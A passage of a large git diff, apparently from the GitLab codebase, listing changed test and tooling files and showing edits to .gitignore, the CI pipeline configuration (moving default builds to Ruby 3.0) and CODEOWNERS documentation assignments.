-rw-r--r--spec/services/bulk_imports/get_importable_data_service_spec.rb14
-rw-r--r--spec/services/chat_names/authorize_user_service_spec.rb5
-rw-r--r--spec/services/ci/create_downstream_pipeline_service_spec.rb77
-rw-r--r--spec/services/ci/create_pipeline_service/cache_spec.rb13
-rw-r--r--spec/services/ci/create_pipeline_service/include_spec.rb22
-rw-r--r--spec/services/ci/create_pipeline_service/logger_spec.rb69
-rw-r--r--spec/services/ci/create_pipeline_service/rules_spec.rb5
-rw-r--r--spec/services/ci/create_pipeline_service/variables_spec.rb37
-rw-r--r--spec/services/ci/create_pipeline_service_spec.rb33
-rw-r--r--spec/services/ci/job_artifacts/create_service_spec.rb76
-rw-r--r--spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb9
-rw-r--r--spec/services/ci/job_artifacts/destroy_associations_service_spec.rb35
-rw-r--r--spec/services/ci/job_artifacts/destroy_batch_service_spec.rb64
-rw-r--r--spec/services/ci/pipeline_processing/atomic_processing_service_spec.rb23
-rw-r--r--spec/services/clusters/aws/authorize_role_service_spec.rb102
-rw-r--r--spec/services/clusters/aws/fetch_credentials_service_spec.rb139
-rw-r--r--spec/services/clusters/aws/finalize_creation_service_spec.rb124
-rw-r--r--spec/services/clusters/aws/provision_service_spec.rb130
-rw-r--r--spec/services/clusters/aws/verify_provision_status_service_spec.rb76
-rw-r--r--spec/services/clusters/create_service_spec.rb1
-rw-r--r--spec/services/clusters/gcp/fetch_operation_service_spec.rb45
-rw-r--r--spec/services/clusters/gcp/finalize_creation_service_spec.rb161
-rw-r--r--spec/services/clusters/gcp/provision_service_spec.rb71
-rw-r--r--spec/services/clusters/gcp/verify_provision_status_service_spec.rb111
-rw-r--r--spec/services/database/consistency_check_service_spec.rb2
-rw-r--r--spec/services/design_management/save_designs_service_spec.rb23
-rw-r--r--spec/services/discussions/resolve_service_spec.rb14
-rw-r--r--spec/services/discussions/unresolve_service_spec.rb29
-rw-r--r--spec/services/draft_notes/publish_service_spec.rb8
-rw-r--r--spec/services/environments/stop_stale_service_spec.rb49
-rw-r--r--spec/services/feature_flags/create_service_spec.rb2
-rw-r--r--spec/services/feature_flags/destroy_service_spec.rb2
-rw-r--r--spec/services/feature_flags/update_service_spec.rb2
-rw-r--r--spec/services/files/base_service_spec.rb59
-rw-r--r--spec/services/groups/import_export/export_service_spec.rb10
-rw-r--r--spec/services/groups/import_export/import_service_spec.rb388
-rw-r--r--spec/services/groups/transfer_service_spec.rb37
-rw-r--r--spec/services/groups/update_shared_runners_service_spec.rb28
-rw-r--r--spec/services/ide/schemas_config_service_spec.rb34
-rw-r--r--spec/services/import/github/gists_import_service_spec.rb26
-rw-r--r--spec/services/import/github_service_spec.rb56
-rw-r--r--spec/services/issue_links/create_service_spec.rb4
-rw-r--r--spec/services/issues/close_service_spec.rb2
-rw-r--r--spec/services/issues/export_csv_service_spec.rb2
-rw-r--r--spec/services/issues/update_service_spec.rb2
-rw-r--r--spec/services/lfs/file_transformer_spec.rb38
-rw-r--r--spec/services/members/destroy_service_spec.rb102
-rw-r--r--spec/services/members/update_service_spec.rb44
-rw-r--r--spec/services/merge_requests/base_service_spec.rb68
-rw-r--r--spec/services/merge_requests/rebase_service_spec.rb39
-rw-r--r--spec/services/merge_requests/refresh_service_spec.rb6
-rw-r--r--spec/services/merge_requests/update_service_spec.rb26
-rw-r--r--spec/services/ml/experiment_tracking/candidate_repository_spec.rb22
-rw-r--r--spec/services/notes/create_service_spec.rb18
-rw-r--r--spec/services/notification_service_spec.rb9
-rw-r--r--spec/services/packages/conan/search_service_spec.rb2
-rw-r--r--spec/services/pages_domains/create_service_spec.rb3
-rw-r--r--spec/services/pages_domains/delete_service_spec.rb3
-rw-r--r--spec/services/pages_domains/retry_acme_order_service_spec.rb2
-rw-r--r--spec/services/pages_domains/update_service_spec.rb3
-rw-r--r--spec/services/personal_access_tokens/revoke_service_spec.rb14
-rw-r--r--spec/services/projects/create_service_spec.rb5
-rw-r--r--spec/services/projects/import_service_spec.rb22
-rw-r--r--spec/services/projects/refresh_build_artifacts_size_statistics_service_spec.rb20
-rw-r--r--spec/services/projects/transfer_service_spec.rb4
-rw-r--r--spec/services/repositories/changelog_service_spec.rb2
-rw-r--r--spec/services/search_service_spec.rb28
-rw-r--r--spec/services/security/ci_configuration/dependency_scanning_create_service_spec.rb20
-rw-r--r--spec/services/security/ci_configuration/sast_create_service_spec.rb2
-rw-r--r--spec/services/service_ping/submit_service_ping_service_spec.rb13
-rw-r--r--spec/services/service_response_spec.rb36
-rw-r--r--spec/services/test_hooks/project_service_spec.rb18
-rw-r--r--spec/services/test_hooks/system_service_spec.rb4
-rw-r--r--spec/services/todo_service_spec.rb129
-rw-r--r--spec/services/users/block_service_spec.rb11
-rw-r--r--spec/services/users/signup_service_spec.rb20
-rw-r--r--spec/services/users/unblock_service_spec.rb45
-rw-r--r--spec/services/work_items/create_service_spec.rb2
-rw-r--r--spec/services/work_items/parent_links/create_service_spec.rb2
-rw-r--r--spec/services/work_items/widgets/hierarchy_service/update_service_spec.rb4
-rw-r--r--spec/simplecov_env.rb1
-rw-r--r--spec/spec_helper.rb4
-rw-r--r--spec/support/caching.rb6
-rw-r--r--spec/support/capybara.rb13
-rw-r--r--spec/support/helpers/api_helpers.rb9
-rw-r--r--spec/support/helpers/cycle_analytics_helpers.rb2
-rw-r--r--spec/support/helpers/database/database_helpers.rb30
-rw-r--r--spec/support/helpers/database/table_schema_helpers.rb4
-rw-r--r--spec/support/helpers/features/members_helpers.rb16
-rw-r--r--spec/support/helpers/features/web_ide_spec_helpers.rb10
-rw-r--r--spec/support/helpers/listbox_helpers.rb24
-rw-r--r--spec/support/helpers/listbox_input_helper.rb18
-rw-r--r--spec/support/helpers/login_helpers.rb2
-rw-r--r--spec/support/helpers/migrations_helpers.rb6
-rw-r--r--spec/support/helpers/navbar_structure_helper.rb5
-rw-r--r--spec/support/helpers/query_recorder.rb4
-rw-r--r--spec/support/helpers/usage_data_helpers.rb5
-rw-r--r--spec/support/matchers/be_boolean.rb10
-rw-r--r--spec/support/matchers/exceed_query_limit.rb29
-rw-r--r--spec/support/redis/redis_helpers.rb7
-rw-r--r--spec/support/redis/redis_new_instance_shared_examples.rb60
-rw-r--r--spec/support/redis/redis_shared_examples.rb76
-rw-r--r--spec/support/rspec_order_todo.yml252
-rw-r--r--spec/support/services/clusters/create_service_shared.rb5
-rw-r--r--spec/support/shared_contexts/bulk_imports_requests_shared_context.rb2
-rw-r--r--spec/support/shared_contexts/features/integrations/integrations_shared_context.rb8
-rw-r--r--spec/support/shared_contexts/markdown_golden_master_shared_examples.rb132
-rw-r--r--spec/support/shared_contexts/navbar_structure_context.rb43
-rw-r--r--spec/support/shared_contexts/policies/group_policy_shared_context.rb3
-rw-r--r--spec/support/shared_examples/analytics/cycle_analytics/parentable_examples.rb28
-rw-r--r--spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb121
-rw-r--r--spec/support/shared_examples/controllers/issuables_list_metadata_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/controllers/rate_limited_endpoint_shared_examples.rb26
-rw-r--r--spec/support/shared_examples/features/code_highlight_shared_examples.rb13
-rw-r--r--spec/support/shared_examples/features/content_editor_shared_examples.rb3
-rw-r--r--spec/support/shared_examples/features/dashboard/sidebar_shared_examples.rb21
-rw-r--r--spec/support/shared_examples/features/reportable_note_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/finders/issues_finder_shared_examples.rb18
-rw-r--r--spec/support/shared_examples/graphql/types/merge_request_interactions_type_shared_examples.rb3
-rw-r--r--spec/support/shared_examples/lib/sidebars/your_work/menus/menu_item_examples.rb38
-rw-r--r--spec/support/shared_examples/models/concerns/counter_attribute_shared_examples.rb75
-rw-r--r--spec/support/shared_examples/models/concerns/integrations/reset_secret_fields_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/models/cycle_analytics_stage_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/models/member_shared_examples.rb12
-rw-r--r--spec/support/shared_examples/models/members_notifications_shared_example.rb2
-rw-r--r--spec/support/shared_examples/models/relative_positioning_shared_examples.rb3
-rw-r--r--spec/support/shared_examples/models/resource_event_shared_examples.rb12
-rw-r--r--spec/support/shared_examples/models/update_project_statistics_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/namespaces/members.rb13
-rw-r--r--spec/support/shared_examples/observability/csp_shared_examples.rb47
-rw-r--r--spec/support/shared_examples/quick_actions/issuable/close_quick_action_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/quick_actions/issue/promote_to_incident_quick_action_shared_examples.rb28
-rw-r--r--spec/support/shared_examples/requests/api/graphql/issue_list_shared_examples.rb33
-rw-r--r--spec/support/shared_examples/requests/api/issuable_search_shared_examples.rb32
-rw-r--r--spec/support/shared_examples/requests/api/nuget_endpoints_shared_examples.rb38
-rw-r--r--spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb20
-rw-r--r--spec/support/shared_examples/services/issuable_links/create_links_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/services/issuable_links/destroyable_issuable_links_shared_examples.rb7
-rw-r--r--spec/support/shared_examples/services/repositories/housekeeping_shared_examples.rb50
-rw-r--r--spec/support/shared_examples/services/security/ci_configuration/create_service_shared_examples.rb62
-rw-r--r--spec/support/shared_examples/workers/batched_background_migration_worker_shared_examples.rb24
-rw-r--r--spec/support/shared_examples/workers/concerns/git_garbage_collect_methods_shared_examples.rb108
-rw-r--r--spec/support/shared_examples/workers/update_repository_move_shared_examples.rb4
-rw-r--r--spec/support/tmpdir.rb18
-rw-r--r--spec/support_specs/license_metadata_tags_spec.rb31
-rw-r--r--spec/tasks/cache/clear/redis_spec.rb41
-rw-r--r--spec/tasks/gitlab/backup_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/db/decomposition/rollback/bump_ci_sequences_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/db/lock_writes_rake_spec.rb39
-rw-r--r--spec/tasks/gitlab/db/truncate_legacy_tables_rake_spec.rb8
-rw-r--r--spec/tasks/gitlab/db_rake_spec.rb2
-rw-r--r--spec/tasks/gitlab/security/update_banned_ssh_keys_rake_spec.rb56
-rw-r--r--spec/tasks/gitlab/seed/runner_fleet_rake_spec.rb43
-rw-r--r--spec/tooling/danger/specs_spec.rb33
-rw-r--r--spec/tooling/danger/user_types_spec.rb56
-rw-r--r--spec/tooling/lib/tooling/view_to_js_mappings_spec.rb356
-rw-r--r--spec/tooling/quality/test_level_spec.rb36
-rw-r--r--spec/uploaders/object_storage_spec.rb12
-rw-r--r--spec/views/admin/application_settings/_repository_check.html.haml_spec.rb21
-rw-r--r--spec/views/admin/application_settings/general.html.haml_spec.rb6
-rw-r--r--spec/views/admin/broadcast_messages/index.html.haml_spec.rb52
-rw-r--r--spec/views/admin/dashboard/index.html.haml_spec.rb10
-rw-r--r--spec/views/errors/omniauth_error.html.haml_spec.rb6
-rw-r--r--spec/views/groups/edit.html.haml_spec.rb8
-rw-r--r--spec/views/layouts/nav/sidebar/_admin.html.haml_spec.rb18
-rw-r--r--spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb2
-rw-r--r--spec/views/layouts/snippets.html.haml_spec.rb48
-rw-r--r--spec/views/profiles/notifications/show.html.haml_spec.rb25
-rw-r--r--spec/views/profiles/preferences/show.html.haml_spec.rb5
-rw-r--r--spec/views/projects/_files.html.haml_spec.rb73
-rw-r--r--spec/views/projects/commit/show.html.haml_spec.rb7
-rw-r--r--spec/views/projects/edit.html.haml_spec.rb6
-rw-r--r--spec/views/registrations/welcome/show.html.haml_spec.rb4
-rw-r--r--spec/views/search/_results.html.haml_spec.rb9
-rw-r--r--spec/views/search/show.html.haml_spec.rb2
-rw-r--r--spec/views/shared/projects/_list.html.haml_spec.rb2
-rw-r--r--spec/workers/ci/build_finished_worker_spec.rb6
-rw-r--r--spec/workers/ci/initial_pipeline_process_worker_spec.rb58
-rw-r--r--spec/workers/cluster_provision_worker_spec.rb47
-rw-r--r--spec/workers/counters/cleanup_refresh_worker_spec.rb42
-rw-r--r--spec/workers/every_sidekiq_worker_spec.rb1
-rw-r--r--spec/workers/gitlab/github_gists_import/finish_import_worker_spec.rb35
-rw-r--r--spec/workers/gitlab/github_gists_import/import_gist_worker_spec.rb2
-rw-r--r--spec/workers/gitlab/github_gists_import/start_import_worker_spec.rb2
-rw-r--r--spec/workers/gitlab/github_import/import_protected_branch_worker_spec.rb3
-rw-r--r--spec/workers/merge_requests/create_pipeline_worker_spec.rb6
-rw-r--r--spec/workers/pages/invalidate_domain_cache_worker_spec.rb66
-rw-r--r--spec/workers/personal_access_tokens/expired_notification_worker_spec.rb4
-rw-r--r--spec/workers/pipeline_schedule_worker_spec.rb29
-rw-r--r--spec/workers/projects/delete_branch_worker_spec.rb26
-rw-r--r--spec/workers/projects/finalize_project_statistics_refresh_worker_spec.rb41
-rw-r--r--spec/workers/projects/git_garbage_collect_worker_spec.rb5
-rw-r--r--spec/workers/projects/refresh_build_artifacts_size_statistics_worker_spec.rb32
-rw-r--r--spec/workers/repository_import_worker_spec.rb104
-rw-r--r--spec/workers/run_pipeline_schedule_worker_spec.rb101
-rw-r--r--spec/workers/wait_for_cluster_creation_worker_spec.rb47
-rw-r--r--spec/workers/wikis/git_garbage_collect_worker_spec.rb2
-rw-r--r--tests.yml10
-rwxr-xr-xtooling/bin/view_to_js_mappings10
-rw-r--r--tooling/danger/config_files.rb2
-rw-r--r--tooling/danger/specs.rb31
-rw-r--r--tooling/danger/user_types.rb31
-rw-r--r--tooling/lib/tooling/view_to_js_mappings.rb77
-rw-r--r--tooling/quality/test_level.rb21
-rw-r--r--vendor/aws/cloudformation/eks_cluster.yaml342
-rw-r--r--vendor/aws/iam/eks_cluster_read_only_policy.json17
-rw-r--r--vendor/gems/bundler-checksum/README.md2
-rwxr-xr-xvendor/gems/bundler-checksum/bin/bundler-checksum4
-rw-r--r--vendor/gems/bundler-checksum/bundler-checksum.gemspec4
-rw-r--r--vendor/gems/bundler-checksum/lib/bundler-checksum.rb2
-rw-r--r--vendor/gems/bundler-checksum/lib/bundler/checksum.rb110
-rw-r--r--vendor/gems/bundler-checksum/lib/bundler/checksum/command.rb27
-rw-r--r--vendor/gems/bundler-checksum/lib/bundler/checksum/command/helper.rb28
-rw-r--r--vendor/gems/bundler-checksum/lib/bundler/checksum/command/init.rb83
-rw-r--r--vendor/gems/bundler-checksum/lib/bundler/checksum/command/verify.rb52
-rw-r--r--vendor/gems/bundler-checksum/lib/bundler/checksum/version.rb8
-rw-r--r--vendor/gems/bundler-checksum/lib/bundler_checksum.rb108
-rw-r--r--vendor/gems/bundler-checksum/lib/bundler_checksum/command.rb27
-rw-r--r--vendor/gems/bundler-checksum/lib/bundler_checksum/command/helper.rb28
-rw-r--r--vendor/gems/bundler-checksum/lib/bundler_checksum/command/init.rb83
-rw-r--r--vendor/gems/bundler-checksum/lib/bundler_checksum/command/verify.rb52
-rw-r--r--vendor/gems/bundler-checksum/lib/bundler_checksum/version.rb6
-rw-r--r--vendor/gems/bundler-checksum/test/project_with_checksum_lock/Gemfile2
-rw-r--r--workhorse/Makefile7
-rwxr-xr-xworkhorse/_support/detect-external-tests.sh11
-rw-r--r--workhorse/go.mod10
-rw-r--r--workhorse/go.sum24
-rw-r--r--workhorse/internal/api/api.go4
-rw-r--r--workhorse/internal/lsif_transformer/parser/docs.go10
-rw-r--r--workhorse/internal/lsif_transformer/parser/docs_test.go32
-rw-r--r--workhorse/internal/upload/body_uploader_test.go12
-rw-r--r--workhorse/internal/upload/destination/destination.go10
-rw-r--r--workhorse/internal/upload/destination/destination_test.go148
-rw-r--r--workhorse/internal/upload/destination/filestore/filestore.go4
-rw-r--r--workhorse/internal/upload/destination/multi_hash.go39
-rw-r--r--workhorse/internal/upload/destination/multi_hash_test.go52
-rw-r--r--workhorse/internal/upload/destination/objectstore/gocloud_object_test.go11
-rw-r--r--workhorse/internal/upload/destination/objectstore/multipart.go10
-rw-r--r--workhorse/internal/upload/destination/objectstore/multipart_test.go5
-rw-r--r--workhorse/internal/upload/destination/objectstore/object_test.go11
-rw-r--r--workhorse/internal/upload/destination/objectstore/s3_complete_multipart_api.go38
-rw-r--r--workhorse/internal/upload/destination/objectstore/s3_object_test.go11
-rw-r--r--workhorse/internal/upload/destination/objectstore/s3api/s3api.go37
-rw-r--r--workhorse/internal/upload/destination/objectstore/test/objectstore_stub.go10
-rw-r--r--workhorse/internal/upload/destination/objectstore/uploader.go34
-rw-r--r--workhorse/internal/upload/destination/upload_opts.go26
-rw-r--r--workhorse/internal/upload/destination/upload_opts_test.go25
-rw-r--r--workhorse/internal/upload/object_storage_preparer_test.go7
-rw-r--r--workhorse/internal/upload/uploads_test.go9
-rw-r--r--workhorse/internal/zipartifacts/metadata_test.go12
-rw-r--r--workhorse/upload_test.go163
-rw-r--r--yarn.lock518
4731 files changed, 151866 insertions, 71948 deletions
diff --git a/.gitignore b/.gitignore
index ad7595dc7f2..1dd9f4ef8aa 100644
--- a/.gitignore
+++ b/.gitignore
@@ -42,6 +42,7 @@ eslint-report.html
/config/initializers/relative_url.rb
/config/resque.yml
/config/redis.*.yml
+/config/redis.yml
/config/unicorn.rb
/config/puma.rb
/config/secrets.yml
@@ -73,6 +74,7 @@ eslint-report.html
/.gitlab_workhorse_secret
/.gitlab_pages_secret
/.gitlab_kas_secret
+/.gitlab_suggested_reviewers_secret
/webpack-report/
/crystalball/
/test_results/
diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 18a3fad2f3f..595a41fd8ca 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -29,6 +29,8 @@ workflow:
rules:
# If `$FORCE_GITLAB_CI` is set, create a pipeline.
- if: '$FORCE_GITLAB_CI'
+ variables:
+ RUBY_VERSION: "3.0"
# As part of the process of creating RCs automatically, we update stable
# branches with the changes of the most recent production deployment. The
# merge requests used for this merge a branch release-tools/X into a stable
@@ -36,53 +38,70 @@ workflow:
# they serve no purpose and will run anyway when the changes are merged.
- if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^release-tools\/\d+\.\d+\.\d+-rc\d+$/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME =~ /^[\d-]+-stable(-ee)?$/ && $CI_PROJECT_PATH == "gitlab-org/gitlab"'
when: never
- # For merge requests running exclusively in Ruby 3.0
- - if: '$CI_MERGE_REQUEST_LABELS =~ /pipeline:run-in-ruby3/'
+ # For merge requests running exclusively in Ruby 2.7
+ - if: '$CI_MERGE_REQUEST_LABELS =~ /pipeline:run-in-ruby2/'
variables:
- RUBY_VERSION: "3.0"
- PIPELINE_NAME: 'Ruby 3 $CI_MERGE_REQUEST_EVENT_TYPE MR pipeline'
+ RUBY_VERSION: "2.7"
+ PIPELINE_NAME: 'Ruby 2 $CI_MERGE_REQUEST_EVENT_TYPE MR pipeline'
# For (detached) merge request pipelines.
- if: '$CI_MERGE_REQUEST_IID'
variables:
- PIPELINE_NAME: '$CI_MERGE_REQUEST_EVENT_TYPE MR pipeline'
+ RUBY_VERSION: "3.0"
+ OMNIBUS_GITLAB_RUBY3_BUILD: "true"
+ OMNIBUS_GITLAB_CACHE_EDITION: "GITLAB_RUBY3"
+ PIPELINE_NAME: 'Ruby 3 $CI_MERGE_REQUEST_EVENT_TYPE MR pipeline'
# For the scheduled pipelines, we set specific variables.
- if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $CI_PIPELINE_SOURCE == "schedule"'
variables:
+ RUBY_VERSION: "3.0"
+ OMNIBUS_GITLAB_RUBY3_BUILD: "true"
+ OMNIBUS_GITLAB_CACHE_EDITION: "GITLAB_RUBY3"
CRYSTALBALL: "true"
CREATE_INCIDENT_FOR_PIPELINE_FAILURE: "true"
NOTIFY_PIPELINE_FAILURE_CHANNEL: "master-broken"
PIPELINE_NAME: 'Scheduled $CI_COMMIT_BRANCH pipeline'
- # Run pipelines for ruby3 branch
- - if: '$CI_COMMIT_BRANCH == "ruby3" && $CI_PIPELINE_SOURCE == "schedule"'
+ # Run pipelines for ruby2 branch
+ - if: '$CI_COMMIT_BRANCH == "ruby2" && $CI_PIPELINE_SOURCE == "schedule"'
variables:
- RUBY_VERSION: "3.0"
+ RUBY_VERSION: "2.7"
NOTIFY_PIPELINE_FAILURE_CHANNEL: "f_ruby3"
- OMNIBUS_GITLAB_RUBY3_BUILD: "true"
- OMNIBUS_GITLAB_CACHE_EDITION: "GITLAB_RUBY3"
- PIPELINE_NAME: 'Scheduled ruby 3 pipeline'
+ PIPELINE_NAME: 'Scheduled ruby 2 pipeline'
# This work around https://gitlab.com/gitlab-org/gitlab/-/issues/332411 whichs prevents usage of dependency proxy
# when pipeline is triggered by a project access token.
- if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $GITLAB_USER_LOGIN =~ /project_\d+_bot\d*/'
variables:
+ RUBY_VERSION: "3.0"
+ OMNIBUS_GITLAB_RUBY3_BUILD: "true"
+ OMNIBUS_GITLAB_CACHE_EDITION: "GITLAB_RUBY3"
GITLAB_DEPENDENCY_PROXY_ADDRESS: ""
CREATE_INCIDENT_FOR_PIPELINE_FAILURE: "true"
NOTIFY_PIPELINE_FAILURE_CHANNEL: "master-broken"
# For `$CI_DEFAULT_BRANCH` branch, create a pipeline (this includes on schedules, pushes, merges, etc.).
- if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH'
variables:
+ RUBY_VERSION: "3.0"
+ OMNIBUS_GITLAB_RUBY3_BUILD: "true"
+ OMNIBUS_GITLAB_CACHE_EDITION: "GITLAB_RUBY3"
CREATE_INCIDENT_FOR_PIPELINE_FAILURE: "true"
NOTIFY_PIPELINE_FAILURE_CHANNEL: "master-broken"
# For tags, create a pipeline.
- if: '$CI_COMMIT_TAG'
+ variables:
+ RUBY_VERSION: "2.7"
# If `$GITLAB_INTERNAL` isn't set, don't create a pipeline.
- if: '$GITLAB_INTERNAL == null'
when: never
# For stable, auto-deploy, and security branches, create a pipeline.
- if: '$CI_COMMIT_BRANCH =~ /^[\d-]+-stable(-ee)?$/'
variables:
+ RUBY_VERSION: "2.7"
NOTIFY_PIPELINE_FAILURE_CHANNEL: "releases"
- if: '$CI_COMMIT_BRANCH =~ /^\d+-\d+-auto-deploy-\d+$/'
+ variables:
+ RUBY_VERSION: "2.7"
- if: '$CI_COMMIT_BRANCH =~ /^security\//'
+ variables:
+ RUBY_VERSION: "2.7"
variables:
PG_VERSION: "12"
@@ -108,22 +127,23 @@ variables:
RUBY_VERSION: "2.7"
GO_VERSION: "1.18"
- TMP_TEST_FOLDER: "${CI_PROJECT_DIR}/tmp/tests"
- GITLAB_WORKHORSE_FOLDER: "gitlab-workhorse"
- TMP_TEST_GITLAB_WORKHORSE_PATH: "${TMP_TEST_FOLDER}/${GITLAB_WORKHORSE_FOLDER}"
- KNAPSACK_RSPEC_SUITE_REPORT_PATH: knapsack/report-master.json
FLAKY_RSPEC_SUITE_REPORT_PATH: rspec/flaky/report-suite.json
- RSPEC_TESTS_MAPPING_PATH: crystalball/mapping.json
- RSPEC_PACKED_TESTS_MAPPING_PATH: crystalball/packed-mapping.json
- RSPEC_PROFILING_FOLDER_PATH: rspec/profiling
FRONTEND_FIXTURES_MAPPING_PATH: crystalball/frontend_fixtures_mapping.json
- RSPEC_CHANGED_FILES_PATH: rspec/changed_files.txt
- RSPEC_MATCHING_TESTS_PATH: rspec/matching_tests.txt
- RSPEC_MATCHING_TESTS_FOSS_PATH: rspec/matching_tests-foss.txt
- RSPEC_LAST_RUN_RESULTS_FILE: rspec/rspec_last_run_results.txt
- RSPEC_FOSS_IMPACT_PIPELINE_YML: rspec-foss-impact-pipeline.yml
+ GITLAB_WORKHORSE_FOLDER: "gitlab-workhorse"
JUNIT_RESULT_FILE: rspec/junit_rspec.xml
JUNIT_RETRY_FILE: rspec/junit_rspec-retry.xml
+ KNAPSACK_RSPEC_SUITE_REPORT_PATH: knapsack/report-master.json
+ RSPEC_CHANGED_FILES_PATH: rspec/changed_files.txt
+ RSPEC_FOSS_IMPACT_PIPELINE_YML: rspec-foss-impact-pipeline.yml
+ RSPEC_LAST_RUN_RESULTS_FILE: rspec/rspec_last_run_results.txt
+ RSPEC_MATCHING_JS_FILES_PATH: rspec/js_matching_files.txt
+ RSPEC_MATCHING_TESTS_FOSS_PATH: rspec/matching_tests-foss.txt
+ RSPEC_MATCHING_TESTS_PATH: rspec/matching_tests.txt
+ RSPEC_PACKED_TESTS_MAPPING_PATH: crystalball/packed-mapping.json
+ RSPEC_PROFILING_FOLDER_PATH: rspec/profiling
+ RSPEC_TESTS_MAPPING_PATH: crystalball/mapping.json
+ TMP_TEST_FOLDER: "${CI_PROJECT_DIR}/tmp/tests"
+ TMP_TEST_GITLAB_WORKHORSE_PATH: "${TMP_TEST_FOLDER}/${GITLAB_WORKHORSE_FOLDER}"
ES_JAVA_OPTS: "-Xms256m -Xmx256m"
ELASTIC_URL: "http://elastic:changeme@elasticsearch:9200"
diff --git a/.gitlab/CODEOWNERS b/.gitlab/CODEOWNERS
index b3efa7c61e4..c6d0ac6b69a 100644
--- a/.gitlab/CODEOWNERS
+++ b/.gitlab/CODEOWNERS
@@ -28,6 +28,9 @@ GITALY_SERVER_VERSION @project_278964_bot6 @gitlab-org/maintainers/rails-backend
/doc/.vale/ @marcel.amirault @eread @aqualls @gitlab-org/tw-leadership
/lib/tasks/gitlab/tw/codeowners.rake @aqualls @gitlab-org/tw-leadership
+^[Source code editing]
+.solargraph.yml.example @igor.drozdov
+
^[Backend]
*.rb @gitlab-org/maintainers/rails-backend
*.rake @gitlab-org/maintainers/rails-backend
@@ -438,7 +441,7 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/administration/environment_variables.md @axil
/doc/administration/external_pipeline_validation.md @marcel.amirault
/doc/administration/feature_flags.md @axil
-/doc/administration/file_hooks.md @aqualls
+/doc/administration/file_hooks.md @ashrafkhamis
/doc/administration/geo/ @axil
/doc/administration/geo/disaster_recovery/ @axil
/doc/administration/geo/disaster_recovery/runbooks/ @axil
@@ -472,7 +475,9 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/administration/monitoring/gitlab_self_monitoring_project/ @msedlakjakubowski
/doc/administration/monitoring/ip_allowlist.md @jglassman1
/doc/administration/monitoring/performance/ @msedlakjakubowski
+/doc/administration/monitoring/performance/performance_bar.md @jglassman1
/doc/administration/monitoring/prometheus/ @msedlakjakubowski
+/doc/administration/monitoring/prometheus/gitlab_exporter.md @jglassman1
/doc/administration/monitoring/prometheus/index.md @axil
/doc/administration/monitoring/prometheus/web_exporter.md @jglassman1
/doc/administration/nfs.md @axil
@@ -485,6 +490,7 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/administration/pages/ @ashrafkhamis
/doc/administration/polling.md @axil
/doc/administration/postgresql/ @aqualls
+/doc/administration/postgresql/multiple_databases.md @jglassman1
/doc/administration/raketasks/ @axil
/doc/administration/raketasks/ldap.md @jglassman1
/doc/administration/raketasks/praefect.md @eread
@@ -502,7 +508,7 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/administration/sidekiq/ @axil
/doc/administration/sidekiq/sidekiq_memory_killer.md @jglassman1
/doc/administration/smime_signing_email.md @axil
-/doc/administration/snippets/ @ashrafkhamis
+/doc/administration/snippets/ @aqualls
/doc/administration/static_objects_external_storage.md @ashrafkhamis
/doc/administration/system_hooks.md @ashrafkhamis
/doc/administration/terraform_state.md @phillipwells
@@ -543,7 +549,6 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/api/error_tracking.md @msedlakjakubowski
/doc/api/events.md @eread
/doc/api/experiments.md @phillipwells
-/doc/api/feature_flag_specs.md @rdickenson
/doc/api/feature_flag_user_lists.md @rdickenson
/doc/api/feature_flags.md @rdickenson
/doc/api/features.md @rdickenson
@@ -624,11 +629,11 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/api/project_level_variables.md @marcel.amirault
/doc/api/project_relations_export.md @eread
/doc/api/project_repository_storage_moves.md @eread
-/doc/api/project_snippets.md @ashrafkhamis
+/doc/api/project_snippets.md @aqualls
/doc/api/project_statistics.md @aqualls
/doc/api/project_templates.md @aqualls
/doc/api/project_vulnerabilities.md @aqualls
-/doc/api/projects.md @msedlakjakubowski
+/doc/api/projects.md @lciutacu
/doc/api/protected_branches.md @aqualls
/doc/api/protected_environments.md @rdickenson
/doc/api/protected_tags.md @aqualls
@@ -650,8 +655,8 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/api/secure_files.md @marcel.amirault
/doc/api/settings.md @jglassman1
/doc/api/sidekiq_metrics.md @axil
-/doc/api/snippet_repository_storage_moves.md @ashrafkhamis
-/doc/api/snippets.md @ashrafkhamis
+/doc/api/snippet_repository_storage_moves.md @aqualls
+/doc/api/snippets.md @aqualls
/doc/api/statistics.md @jglassman1
/doc/api/status_checks.md @eread
/doc/api/suggestions.md @aqualls
@@ -673,7 +678,6 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/api/wikis.md @ashrafkhamis
/doc/architecture/blueprints/database/scalability/patterns/ @aqualls
/doc/architecture/blueprints/database_scaling/ @aqualls
-/doc/architecture/blueprints/runner_tokens/ @fneill
/doc/ci/ @marcel.amirault
/doc/ci/caching/ @marcel.amirault
/doc/ci/chatops/ @phillipwells
@@ -762,10 +766,11 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/development/gitaly.md @eread
/doc/development/gitlab_flavored_markdown/ @ashrafkhamis
/doc/development/gitlab_flavored_markdown/specification_guide/ @ashrafkhamis
